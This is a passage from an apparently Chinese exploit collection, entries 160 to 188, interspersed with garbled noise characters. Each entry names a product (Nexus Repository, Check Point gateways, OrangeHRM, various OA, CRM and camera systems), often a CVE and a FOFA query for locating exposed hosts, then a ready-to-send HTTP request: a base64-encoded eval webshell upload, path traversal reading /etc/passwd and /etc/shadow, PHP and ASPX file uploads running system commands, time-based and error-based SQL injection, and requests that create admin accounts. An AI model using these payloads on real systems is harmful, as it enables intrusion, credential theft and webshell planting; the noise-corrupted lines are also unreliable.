8 s1 j7 e7 g# F+ h  s5 @1 CContent-Type: text/xml; charset=utf-8
4 |% ^6 v# d, PSoapaction: "http://rainier/jobUpload"
. b1 J+ |. N, U. s
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  v) Y3 `$ \/ Q<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
; e4 j! Y& N5 i2 {</jobUpload>
) |# K" i" t5 h- g5 f4 V</soap:Body>
1 d$ L) n7 c8 B; y</soap:Envelope>
2 i" ^/ b* q+ o4 f* f+ s
0 J% l' r' f% j8 c6 I, d
! {% G6 K1 V1 B0 ]7 s  H7 d( K/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
! r0 ^( |$ Y. Q8 R  ]

160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
% P& R' ^* L! n4 @$ {( IFOFA：title="Nexus Repository Manager"
3 t" z- W! k; p" J" cGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
! b0 X+ a3 _! F9 p) ]. T4 \5 U: HUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
, t" M: ]" n. s, ^- kConnection: close
) y' l/ y0 Y+ V9 N# @3 B: D- dAccept: */*
$ l. W+ i3 Y. A& f7 u. lAccept-Language: en
" o$ H6 |& v2 A: D- t+ k7 J* LAccept-Encoding: gzip
8 D- |8 c* _' c& H  l% Z) ^1 @
5 `/ q" D: O, }( T
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
, c$ j3 t2 q$ I; k+ n第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
/ ^9 P$ K3 _& Y) |  P+ dPOST /Webservice.asmx HTTP/1.1
9 ?3 K' r- i: |$ d- C4 w7 B+ T$ RHost: x.x.x.x
; U$ q( |- ]0 C  s: t7 z2 _0 G3 E8 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
+ e3 M4 t/ v, J$ }' w- b, bhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
+ q. A) {5 V5 t6 E  D# W6 R<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
  r, j: P2 M4 q  ~& a" b<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
( ~. E( T5 D  K) z; ~; C- a<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
# I% N3 z* K( c, R0 v% N+ iFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
' H) n3 s3 g0 d. s  UContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
# f' N) a; u0 yAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
0 ~, Y# ^5 u1 b9 F# U  j' \
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
$ n* c8 c# f" e+ g3 cContent-Disposition: form-data; name="action"
% k+ i7 F3 Z1 f: Q. S2 u
! M% a1 \. U/ f  ~7 l. C8 B0 Hupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
; }* ~! [3 [6 [' w& h# J
/ j7 _$ A  Z; e  f0 L% AResourceNewResponder
5 l  v* C/ c/ V* ?8 F6 P% n------WebKitFormBoundaryeegvclmyurlotuey
' g  t8 I7 f& F4 DContent-Disposition: form-data; name="remotePath"
9 ?' m4 l! h$ w
) v3 b) K! d' c! J- {: u+ v6 N/opt/resources
% n& y; D$ ?, M6 d: o------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

1 o6 z* N. w/ U* ^, P163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
7 x! ~2 c* l# p+ ~. c9 y( G6 {POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
/ f. i' o3 e4 H: l( g: LConnection: close
Content-Length: 293
Accept: */*
% o. u1 x# a2 n* ^1 nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 E/ K9 J- z/ @  MContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
- \) l" G% _& _- M1 e* f
& W2 J- y( {, C; `( w) F------iiqvnofupvhdyrcoqyuujyetjvqgocod
0 _2 \0 x" O- ^/ S( qContent-Disposition: form-data; name="name"
, S  u# ?, Q0 b0 k$ v  h
& l# W+ I( x) w6 x% p  u6 U5 w1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
* q" z1 i2 E! m" AContent-Disposition: form-data; name="upfile"; filename="1.php"
& e3 h2 ~  {# F! S' G# r9 @! UContent-Type: image/jpeg
1 u  G2 x# [! U: M. l
rvjhvbhwwuooyiioxega
1 g( A5 Q) s7 j3 {3 F1 h- q9 s------iiqvnofupvhdyrcoqyuujyetjvqgocod--
" z* O3 o; F* Q2 t* {  R
% a. ^6 A8 A. C, z$ ?; ^
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
% P8 c6 L. x) {4 jHost: x.x.x.x
9 k- @' t5 b2 R+ p5 k2 n- kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
- ^+ T/ X) ^* X3 e' i* jAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
' ?2 \* [6 P% g$ S7 a4 mContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
2 U0 j) t) v- P: n4 R5 |. JAccept-Encoding: gzip

5 A8 [, v+ F2 ~. z$ {3 s------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
6 I7 E1 l6 R0 Y7 R$ t' i
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
. g' A  O" L- a2 V( R  S' L------dqdaieopnozbkapjacdbdthlvtlyl--
5 U1 t: I; R, @+ a5 k% r
1 b( R5 z' p' ^0 ]5 z! C& [
5 X8 q7 S( r9 ^6 W2 _) q4 hhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
9 W* T$ X4 m# w
; {* ^1 [4 X/ v" ^: H1 e' I165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
) R! P, X+ I6 M8 ^URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

0 t1 C7 Q" P* A. K7 I0 |; M
+ X, b6 S# a/ c5 p166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
0 }& {" d+ H4 j' ?/ EPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
) ?( r$ h0 E* i9 [% \Host:
Pragma: no-cache
0 ^5 C7 N$ `/ a- f7 TCache-Control: no-cache
8 e1 p& M$ T& j0 O2 lUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
* O- k  p( i2 w0 ^7 A: rConnection: close
, g2 b5 _$ Y7 J3 E: n6 R, R% YContent-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
0 }; t+ ~$ N, m& B

0 X% m2 z: |( }& h- ~% ^: P$ |8 G167. 精益价值管理系统 DownLoad.aspx任意文件读取
' S& `) t( C5 r! q( l8 h7 c: QFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
6 ~/ A; H0 ]1 X$ t! yGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
0 a: K1 w7 E! t0 v( eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 H7 L) I1 C- z! D; uAccept-Encoding: gzip, deflate
Accept: */*
% Y4 |2 v0 Y0 V2 r" `Connection: keep-alive
8 c; S( P9 o) h3 p$ C2 V# U, {) Z
. K* i! \. D$ x+ }
% a/ b9 I# _6 I2 I8 c168. 宏景EHR OutputCode 任意文件读取
, g6 Y1 e0 }0 f% Q5 d/ e; nFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
; Z) E* l) [( f3 z. s9 X7 A) dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
/ z3 V) {4 c& H, f) g$ g& T$ }1 k7 fContent-Type: application/x-www-form-urlencoded
% c( a9 q/ D7 nConnection: close
4 }% ^1 E. g* j* ]
, V; W8 I) @8 k
' X! z8 H, ^, Q7 l3 J
" \1 y/ E$ `* |8 i+ r: h, a  t- X. [169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
- |5 t6 n% x- A2 Z! ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& ^; ]" i  n# [! [9 T3 PAccept: */*
# z$ `$ y+ C; b; KAccept-Encoding: gzip, deflate
  {2 L- r- j, r' ~* Q- m: VConnection: close
: P* t9 i2 _# [
+ `9 ]. U8 n/ C
5 d0 _  z* v9 k3 i
9 t* M9 G6 k% h% I1 F0 }170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
: X5 M7 P& T' G9 k- V% DPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
$ Q* ^7 E1 v7 y" [' d0 d; Y2 nHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
4 E$ ~: T+ N$ i) \6 s
. I4 D% ~* b; B( U+ zfilename=../webapps/ROOT/WEB-INF/web.xml
4 `3 p( J2 m0 r% O# T, X
& L( `8 x" x, N
6 e* N/ X& t9 R) d4 L0 ]171. 通天星CMSV6车载定位监控平台 SQL注入
' ^& l0 e# q$ D* TFOFA：body="/808gps/"
2 T/ R& s5 |8 J+ a9 jGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
5 U& Z* @  C8 c$ t1 gHost: your-ip
0 P$ n) e2 U8 m0 f$ S7 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 h* T5 g3 d; r$ @" t( FAccept: */*
: J1 ?: B$ n  T, S9 B* z1 V' F0 U. y8 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" m  j* y$ i8 Y8 I! p" yAccept-Encoding: gzip, deflate
3 [" c* E; i. H) P' MConnection: close



" n0 [/ K+ z% I8 `! z; X7 o$ F: C* ]3 ^172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
' |9 ^1 ~" Q$ b) F% w. fHost: your-ip
* e# ]: w# c- R7 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
& O4 z, J+ [# x5 s- v0 {* B1 pAccept: */*
0 R. W. X: ~, `! DConnection: keep-alive

" W* e8 ^0 w4 |8 M
  U5 X7 J5 `' ^
173. Check Point 安全网关任意文件读取
CVE-2024-24919
( s; m8 O' _( _8 x) p5 |FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
" `' ~) b/ n- W0 QHost: your-ip
Content-Type: application/x-www-form-urlencoded
' Y& l$ `5 @+ S. w. S8 }
aCSHELL/../../../../../../../etc/shadow
6 c, `3 \8 F5 M4 R/ V
# Q" G1 R. b4 w' L- R
- c, W) K2 q, w9 N5 q; l9 z
0 ~+ E; k" |9 H* Q174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
  h6 b& D& u) [3 m6 |% X( {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 u3 l! d$ S9 d! p
$ I  b( _- r' q( o% g( P' O8 ]/ w
6 F3 Q1 }9 F" K8 r5 c
2 r" a' @' m; F175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; w* K- z2 u; p0 }# {! ?8 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

+ ]2 P" x, a# ]: D& s) [5 b& i
0 h, U2 p2 }! \2 G: @3 s176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
  r$ X: l& |$ g/ L3 z; O8 rPOST /manager/teletext/material/rewrite.php HTTP/1.1
( e1 z/ B( J3 k  y) mHost: your-ip
0 \. E3 {7 `* r, wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. M- i+ `- J$ `3 C) S$ W% VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

------WebKitFormBoundaryOKldnDPT
: \+ W3 g! V! h6 o* b8 KContent-Disposition: form-data; name="tmp_name"; filename="test.php"
! s: K7 s5 f: G3 P  o$ a7 HContent-Type: image/png
  Q' }7 j& A) n* [& p. w" N
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
8 m* l% M2 B& o  xContent-Disposition: form-data; name="uploadtime"


- z& a* Q6 Q9 ^8 l* J0 ~/ a------WebKitFormBoundaryOKldnDPT--
/ Q  v; E7 |* A4 P+ C3 B* }

  C9 [* n' `: `  E$ j  z; @
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
7 w  M6 X) h7 [# }3 R/userLogin.asp/../actionpolicy_status/../GR5200.cfg
3 R/ z- P$ U' F9 X. M/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
$ N2 {- r# \# k9 U. h) n. {( V/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
1 s- i! O1 e& @8 i3 n6 T1 @/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
7 O7 L2 o* M  T5 j2 i, `) E/userLogin.asp/../actionpolicy_status/../ER3200.cfg
& m6 V/ |$ ^, `8 g/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
8 h) ]  j+ o5 p; n6 R' I& D/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
' b; ?. h  l3 J/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
. z+ a+ a  @! c; B  v! Q/ g
: H' v# D9 E1 o
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
' z; w. ~( Q7 F; Q: G& CPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
6 B" E+ g! O+ @0 {! j) `/ P4 `& gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ D/ }* r4 C  `8 ~7 v* s6 SContent-Length: 252
& L. n2 ?' p3 `% xAccept-Encoding: gzip, deflate
% A# k; W( V+ G9 H  E" }1 tConnection: close
& H" U/ h- y( i5 RContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
& ?8 h6 Z5 d9 ?) x. B6 G# I, ?8 uContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
5 Y5 d. n6 w$ ]1 iContent-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--

$ n% M2 ?& b( w. G7 e& p
GET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
# N# R" u7 z5 b2 K; l, x0 ?6 [Host: {{Hostname}}
! |( C3 `. V9 w+ VContent-Type: application/x-www-form-urlencoded
3 k1 x9 {1 p2 [8 FUser-Agent: Mozilla/5.0
- t  H6 ^7 H. l: \- Q0 d1 P! }
0 d" E' u# g6 i' x3 rpath=../log4net.config&Name=
, s1 [( U( n5 T7 x2 i+ ~
6 ], }( h+ U% r, K
' S  c9 z1 H, A180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
2 v" g1 s5 x$ m4 Y5 vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 [' ^+ K: D2 r: `Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* }0 d% f) g$ z' KConnection: close
$ `" L9 `: @( B

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
3 ~+ ]5 I* k/ M' a8 PFOFA："PDCA/js/_publicCom.js"
0 f& v5 f& V  ~6 f3 W" KPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
$ F3 _1 a1 Q! v9 IHost: your-ip
( Q9 c- L. r- E8 E  eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# {+ k4 n! R" l( t4 o3 ZAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
* J) g. y' d6 h9 |" S3 DConnection: close
. V$ ]+ ^; \. L3 v* RContent-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
4 O! j+ u9 n* r% H% T2 z
( J# A  {6 W0 R& L5 g! b- D
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
) J$ A2 J; w$ f( ]' c; ?! SPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
5 _, K3 @# y% k9 F" j: XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 f+ E: I' l9 Q/ wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. j. Y  K1 D# R3 m, ?3 g+ C. F% _Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. G/ o$ C( s  S" U3 NContent-Type: application/x-www-form-urlencoded

! i4 g/ `3 ^9 s! d+ Z, |$ Y
9 t! T1 I7 B8 |  l2 }) ausername=test1234&pwd=test1234&savedays=1
8 K- F: y1 M# q% I/ l8 P

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
  E" R0 S, R* X! D7 q$ n( k7 j( A3 e9 fFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
3 D* h7 B$ k0 t% ^3 H# uGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
: N% I( ^+ m) LHost: your-ip
, x8 {' {8 {5 D6 |9 ?) ~! |9 P# Q5 H- rUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 f6 c$ Y, K8 q/ ?Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

2 k! r& h4 X$ b; F  d
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
$ X& X' I8 _, uPOST /soap/AddUser HTTP/1.1
Host: your-ip
. U+ u2 [  S/ ^: U  ~7 B# k( PAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
% e$ Q8 U# Z* X' DAccept: application/xml, text/xml, */*; q=0.01
/ Q3 E( ~% Z% mContent-Type: text/xml; charset=utf-8
, j9 Y- m4 {7 v1 H+ y6 e/ B: c8 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 ?. P8 p: i1 Y1 L' I* iX-Requested-With: XMLHttpRequest

4 q$ q0 X; z2 E4 _+ ~$ ~3 b
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
0 Q6 T2 t. d- Xversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
, |2 }- J( T* Y- b( z+ ~Host: host
' l2 c" ~, x3 U  W! V* j% U

186. F-logic DataCube3 SQL注入
+ E1 a) V$ O+ o4 H4 S! L0 SCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
4 y% D( K0 [) V6 p3 `! ?4 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
: X/ p8 m3 Y0 P# {/ _+ h$ ~8 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
+ {, I' G1 Z* L2 R5 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 M' N& O* g  G9 |2 Q7 I9 }4 zConnection: close
. x8 A7 ]4 N1 W% M' v7 tContent-Type: application/x-www-form-urlencoded
# U% t/ ?4 @1 W' K7 L6 U& N
1 y0 f' c  S0 s1 S/ preq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


187. Mura CMS processAsyncObject SQL注入
& w/ J5 C' ?! [5 F. a5 K4 wCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
5 t/ V7 e6 a- [1 M" AHost: your-ip
Content-Type: application/x-www-form-urlencoded
( i+ J. B+ N% o' T; l' W% T
- b8 N. }' I* a1 _0 t% q% {1 _
: D2 i, D; ^8 f3 X5 C' nobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
! S: ]: I3 ~( a/ ?$ v4 c

# L; F  A0 B7 Z9 _4 i& z188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
